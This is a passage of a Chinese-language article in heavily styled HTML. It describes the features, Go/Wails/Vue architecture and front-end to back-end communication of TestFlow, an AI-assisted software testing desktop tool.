0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">实时可视化</span></strong><span leaf="">：浏览器画面实时同步到界面</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">标准化输出</span></strong><span leaf="">：自动生成符合 GB/T 25000 标准的 Excel 测试报告</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">多模型支持</span></strong><span leaf="">：OpenAI、Claude、DeepSeek、豆包、Ollama、vLLM 等 提供商</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">单文件部署</span></strong><span leaf="">：编译为单个 EXE，开箱即用</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9719626168224299" data-type="png" data-w="1070" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038317" src="https://wechat2rss.xlab.app/img-proxy/?k=328a37f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdWdicgQLyS7on7Gae4g9godMgjjdUtmY8VnkakplTpHVYrs2z8DniaGC0bzb31ERDgENYYN6ibTzd0npeNPUYp0mN5UnVj5fic6r5Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">三、系统架构</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TestFlow 采用 </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Go + Wails v2 + Vue 3</span></strong><span leaf=""> 的三层架构</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9888059701492538" data-type="png" data-w="1072" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038319" src="https://wechat2rss.xlab.app/img-proxy/?k=f58b9771&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXSbANoNkrnh0QCaRWthJMRtC0jtnAZnV6h8acqYSYibZBJ4bsXcrtvSIjcfA3AYseTmxA2es2ZYu4xzyrOkl12qaWKVjStfv4A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">3.1 为什么选择这套技术栈？</span></span></h2><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display:table;text-align:left;min-width:194px;"><thead><tr><th data-colwidth="169" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">选型</span></p></th><th style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;"><p><span leaf="">理由</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="169" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">Go</span></span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">编译为原生二进制，无运行时依赖；goroutine 天然适合并发处理 AI 流式响应 + 浏览器控制</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="169" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">Wails v2</span></span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">Go 生态的 Electron 替代品，生成的 EXE 体积仅 ~15MB（Electron 动辄 150MB+）</span></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td data-colwidth="169" style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="font-size: 15px;">Vue 3 + Element Plus</span></span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><span textstyle="" style="font-size: 15px;">成熟的企业级 UI 方案，三栏布局开发效率高</span></span></p></td></tr></tbody></table></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7988560533841754" data-type="png" data-w="1049" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038318" src="https://wechat2rss.xlab.app/img-proxy/?k=5b8b1ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdVNVFVN3pUHkfztcsn9xJnibdI2tgJwO1tDgXHBBsy9euXBpsAsWrawOvxeNIEgCibEzxGnhQ8eibiaqibdauz0YJMUdBTFafCVvjlA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">3.2 前后端通信机制</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Wails 的独特之处在于它不走 HTTP，而是通过 </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Go 方法绑定</span></strong><span leaf=""> 直接暴露后端函数给前端 JavaScript 调用： 前端直接调用，就像调本地函数一样： 实时数据（截图、用例、AI 流式输出）则通过 </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Wails EventsEmit</span></strong><span leaf=""> 从 Go 端推送到前端：</span></p><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(255, 255, 255);background-color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: center;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 